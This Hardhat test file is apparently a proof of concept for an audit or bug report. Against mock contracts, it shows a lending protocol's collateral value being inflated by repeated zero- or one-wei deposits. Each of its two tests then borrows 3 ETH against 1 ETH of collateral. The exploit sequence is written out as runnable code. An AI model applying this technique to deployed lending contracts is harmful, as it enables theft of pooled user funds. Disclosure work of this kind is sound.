Copy import { expect } from "chai";
import { ethers } from "hardhat";
import { PANIC_CODES } from "@nomicfoundation/hardhat-chai-matchers/panic";
import { loadFixture, reset, time } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import {
LiquidationLogic__factory,
LoanManagerLogic__factory,
LoanManager__factory,
LoanPoolLogic__factory,
MockHubPool__factory,
MockOracleManager__factory,
RewardLogic__factory,
UserLoanLogic__factory,
} from "../../typechain-types";
import { BYTES32_LENGTH, convertStringToBytes, getAccountIdBytes, getEmptyBytes, getRandomBytes } from "../utils/bytes";
import { SECONDS_IN_DAY, SECONDS_IN_HOUR, getLatestBlockTimestamp, getRandomInt } from "../utils/time";
import { UserLoanBorrow, UserLoanCollateral } from "./libraries/assets/loanData";
import { getNodeOutputData } from "./libraries/assets/oracleData";
import {
calcAverageStableRate,
calcBorrowBalance,
calcBorrowInterestIndex,
calcReserveCol,
calcStableInterestRate,
convToCollateralFAmount,
convToRepayBorrowAmount,
convToSeizedCollateralAmount,
toFAmount,
toUnderlingAmount,
} from "./utils/formulae";
describe("Attacker can Inflate `effectiveCollateralValue`", () => {
const DEFAULT_ADMIN_ROLE = getEmptyBytes(BYTES32_LENGTH);
const LISTING_ROLE = ethers.keccak256(convertStringToBytes("LISTING"));
const ORACLE_ROLE = ethers.keccak256(convertStringToBytes("ORACLE"));
const HUB_ROLE = ethers.keccak256(convertStringToBytes("HUB"));
async function deployLoanManagerFixture() {
const [admin, hub, user, ...unusedUsers] = await ethers.getSigners();
// libraries
const userLoanLogic = await new UserLoanLogic__factory(user).deploy();
const userLoanLogicAddress = await userLoanLogic.getAddress();
const loanPoolLogic = await new LoanPoolLogic__factory(user).deploy();
const loanPoolLogicAddress = await loanPoolLogic.getAddress();
const liquidationLogic = await new LiquidationLogic__factory(
{
["contracts/hub/logic/UserLoanLogic.sol:UserLoanLogic"]: userLoanLogicAddress,
},
user
).deploy();
const liquidationLogicAddress = await liquidationLogic.getAddress();
const loanManagerLogic = await new LoanManagerLogic__factory(
{
["contracts/hub/logic/UserLoanLogic.sol:UserLoanLogic"]: userLoanLogicAddress,
["contracts/hub/logic/LoanPoolLogic.sol:LoanPoolLogic"]: loanPoolLogicAddress,
["contracts/hub/logic/LiquidationLogic.sol:LiquidationLogic"]: liquidationLogicAddress,
},
user
).deploy();
const loanManagerLogicAddress = await loanManagerLogic.getAddress();
const rewardLogic = await new RewardLogic__factory(user).deploy();
const rewardLogicAddress = await rewardLogic.getAddress();
const libraries = {
userLoanLogic,
loanPoolLogic,
liquidationLogic,
loanManagerLogic,
rewardLogic,
};
// deploy contract
const oracleManager = await new MockOracleManager__factory(user).deploy();
const loanManager = await new LoanManager__factory(
{
["contracts/hub/logic/LoanManagerLogic.sol:LoanManagerLogic"]: loanManagerLogicAddress,
["contracts/hub/logic/RewardLogic.sol:RewardLogic"]: rewardLogicAddress,
},
user
).deploy(admin, oracleManager);
// set hub role
await loanManager.connect(admin).grantRole(HUB_ROLE, hub);
// common
const loanManagerAddress = await loanManager.getAddress();
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
};
}
async function createLoanTypeFixture() {
const { admin, hub, user, unusedUsers, loanManager, loanManagerAddress, oracleManager, libraries } =
await loadFixture(deployLoanManagerFixture);
// create loan type
const loanTypeId = 1;
const loanTargetHealth = BigInt(1.05e4); //
await loanManager.connect(admin).createLoanType(loanTypeId, loanTargetHealth);
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
loanTargetHealth,
};
}
async function addPoolsFixture() {
const { admin, hub, user, unusedUsers, loanManager, loanManagerAddress, oracleManager, libraries, loanTypeId } =
await loadFixture(createLoanTypeFixture);
// prepare pools
const usdcPoolId = 1;
const usdcPool = await new MockHubPool__factory(user).deploy("Folks USD Coin", "fUSDC", usdcPoolId);
const ethPoolId = 2;
const ethPool = await new MockHubPool__factory(user).deploy("Folks Ethereum", "fETH", ethPoolId);
// add pools
await loanManager.connect(admin).addPool(usdcPool);
await loanManager.connect(admin).addPool(ethPool);
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
usdcPoolId,
usdcPool,
ethPoolId,
ethPool,
};
}
async function addPoolToLoanTypeFixture() {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
usdcPoolId,
usdcPool,
ethPoolId,
ethPool,
} = await loadFixture(addPoolsFixture);
// add pools to loan type
const rewardCollateralSpeed = BigInt(0);
const rewardBorrowSpeed = BigInt(0);
const rewardMinimumAmount = BigInt(1e18);
const collateralCap = BigInt(20e6);
const borrowCap = BigInt(10e6);
const usdcCollateralFactor = BigInt(0.8e4);
const usdcBorrowFactor = BigInt(1e4);
const usdcLiquidationBonus = BigInt(0.04e4);
const usdcLiquidationFee = BigInt(0.1e4);
const ethCollateralFactor = BigInt(0.7e4);
const ethBorrowFactor = BigInt(1e4);
const ethLiquidationBonus = BigInt(0.06e4);
const ethLiquidationFee = BigInt(0.1e4);
const pools = {
USDC: {
poolId: usdcPoolId,
pool: usdcPool,
rewardCollateralSpeed,
rewardBorrowSpeed,
rewardMinimumAmount,
collateralCap,
borrowCap,
collateralFactor: usdcCollateralFactor,
borrowFactor: usdcBorrowFactor,
liquidationBonus: usdcLiquidationBonus,
liquidationFee: usdcLiquidationFee,
tokenDecimals: BigInt(6),
},
ETH: {
poolId: ethPoolId,
pool: ethPool,
rewardCollateralSpeed,
rewardBorrowSpeed,
rewardMinimumAmount,
collateralCap,
borrowCap,
collateralFactor: ethCollateralFactor,
borrowFactor: ethBorrowFactor,
liquidationBonus: ethLiquidationBonus,
liquidationFee: ethLiquidationFee,
tokenDecimals: BigInt(18),
},
};
await loanManager
.connect(admin)
.addPoolToLoanType(
loanTypeId,
usdcPoolId,
usdcCollateralFactor,
collateralCap,
usdcBorrowFactor,
borrowCap,
usdcLiquidationBonus,
usdcLiquidationFee,
rewardCollateralSpeed,
rewardBorrowSpeed,
rewardMinimumAmount
);
await loanManager
.connect(admin)
.addPoolToLoanType(
loanTypeId,
ethPoolId,
ethCollateralFactor,
collateralCap,
ethBorrowFactor,
borrowCap,
ethLiquidationBonus,
ethLiquidationFee,
rewardCollateralSpeed,
rewardBorrowSpeed,
rewardMinimumAmount
);
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
pools,
};
}
async function createUserLoanFixture() {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
pools,
} = await loadFixture(addPoolToLoanTypeFixture);
// create user loan
const loanId = getRandomBytes(BYTES32_LENGTH);
const accountId = getAccountIdBytes("ACCOUNT_ID");
const loanName = getRandomBytes(BYTES32_LENGTH);
const createUserLoan = await loanManager.connect(hub).createUserLoan(loanId, accountId, loanTypeId, loanName);
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
createUserLoan,
loanTypeId,
pools,
loanId,
accountId,
loanName,
};
}
async function depositZeroTokenAmountToDIfferntPOOlFixture() {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
pools,
loanId,
accountId,
} = await loadFixture(createUserLoanFixture);
const { pool, poolId, tokenDecimals } = pools.USDC;
// prepare deposit
const depositAmountUSDC = BigInt(1);
const depositInterestIndex = BigInt(1.2e18);
const depositFAmountUSDC = toFAmount(depositAmountUSDC, depositInterestIndex);
const usdcPrice = BigInt(1e18);
await pool.setDepositPoolParams({
fAmount: depositFAmountUSDC,
depositInterestIndex,
priceFeed: { price: usdcPrice, decimals: tokenDecimals },
});
// deposit into usdc pool
// WE INFALTED THE `effectiveCollateralValue` BY DEPOSITING 0 TOKENS BY 5 TIMES colPools = [pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0}]
let i = 0;
while (i < 5) {
await loanManager.connect(hub).deposit(loanId, accountId, poolId, depositAmountUSDC);
i++;
}
// prepare deposit
let depositAmount = BigInt(1e18);
let depositFAmount = (depositAmount * BigInt(1e18)) / BigInt(1e18);
const ethPrice = BigInt(3000e18);
await pools.ETH.pool.setDepositPoolParams({
fAmount: depositFAmount,
depositInterestIndex,
priceFeed: { price: ethPrice, decimals: pools.ETH.tokenDecimals },
});
// deposit into eth pool
// NOW = [pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.USDC {balance = 0} , pools.ETH {balance = 1e18}]
const depositOneEther = await loanManager.connect(hub).deposit(loanId, accountId, pools.ETH.poolId, depositAmount);
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
depositOneEther,
loanTypeId,
pools,
loanId,
accountId,
depositAmount,
depositFAmount,
};
}
async function depositeZeroTokenAmountIntoSamePOOlFixture() {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
loanTypeId,
pools,
loanId,
accountId,
} = await loadFixture(createUserLoanFixture);
let depositAmount = BigInt(0); // or BigInt(1) 1 wei
let depositFAmount = (depositAmount * BigInt(1e18)) / BigInt(1.2e18);
const depositInterestIndex = BigInt(1.2e18);
const ethPrice = BigInt(3000e18);
await pools.ETH.pool.setDepositPoolParams({
fAmount: depositFAmount,
depositInterestIndex,
priceFeed: { price: ethPrice, decimals: pools.ETH.tokenDecimals },
});
// deposit into eth pool 5 times
let i = 0;
while (i < 5) {
await loanManager.connect(hub).deposit(loanId, accountId, pools.ETH.poolId, depositAmount);
i++;
}
// NOW = [pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0}]
// now deposit enought amount to take huge loan
depositAmount = BigInt(1e18);
depositFAmount = depositAmount;
await pools.ETH.pool.setDepositPoolParams({
fAmount: depositFAmount,
depositInterestIndex,
priceFeed: { price: ethPrice, decimals: pools.ETH.tokenDecimals },
});
// deposit into eth pool
const depositOneEther = await loanManager.connect(hub).deposit(loanId, accountId, pools.ETH.poolId, depositAmount);
// NOW = [pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 0} , pools.ETH {balance = 1e18}]
return {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
depositOneEther,
loanTypeId,
pools,
loanId,
accountId,
depositAmount,
depositFAmount,
};
}
after(async () => {
await reset();
});
describe("Test EXPLOIT", () => {
it.only("Huge borrow for same pool deposit", async () => {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
depositOneEther,
loanTypeId,
pools,
loanId,
accountId,
depositAmount,
depositFAmount,
} = await loadFixture(depositeZeroTokenAmountIntoSamePOOlFixture);
// set prices
const ethNodeOutputData = getNodeOutputData(BigInt(3000e18));
await oracleManager.setNodeOutput(pools.ETH.poolId, pools.ETH.tokenDecimals, ethNodeOutputData);
// prepare borrow
const variableInterestIndex = BigInt(1.2e18); // No interest
const stableInterestRate = BigInt(0);
await pools.ETH.pool.setBorrowPoolParams({ variableInterestIndex, stableInterestRate });
await pools.ETH.pool.setUpdatedVariableBorrowInterestIndex(variableInterestIndex);
const borrowAmount = BigInt(3e18);
const borrow = await loanManager
.connect(hub)
.borrow(loanId, accountId, pools.ETH.poolId, borrowAmount, BigInt(0));
});
it.only("Huge borrow for different pool deposit", async () => {
const {
admin,
hub,
user,
unusedUsers,
loanManager,
loanManagerAddress,
oracleManager,
libraries,
depositOneEther,
loanTypeId,
pools,
loanId,
accountId,
depositAmount,
depositFAmount,
} = await loadFixture(depositZeroTokenAmountToDIfferntPOOlFixture);
// set prices
const ethNodeOutputData = getNodeOutputData(BigInt(3000e18));
await oracleManager.setNodeOutput(pools.ETH.poolId, pools.ETH.tokenDecimals, ethNodeOutputData);
// prepare borrow
const variableInterestIndex = BigInt(1.2e18); // No interest
const stableInterestRate = BigInt(0);
await pools.ETH.pool.setBorrowPoolParams({ variableInterestIndex, stableInterestRate });
await pools.ETH.pool.setUpdatedVariableBorrowInterestIndex(variableInterestIndex);
const borrowAmount = BigInt(3e18);
const borrow = await loanManager
.connect(hub)
.borrow(loanId, accountId, pools.ETH.poolId, borrowAmount, BigInt(0));
});
});
});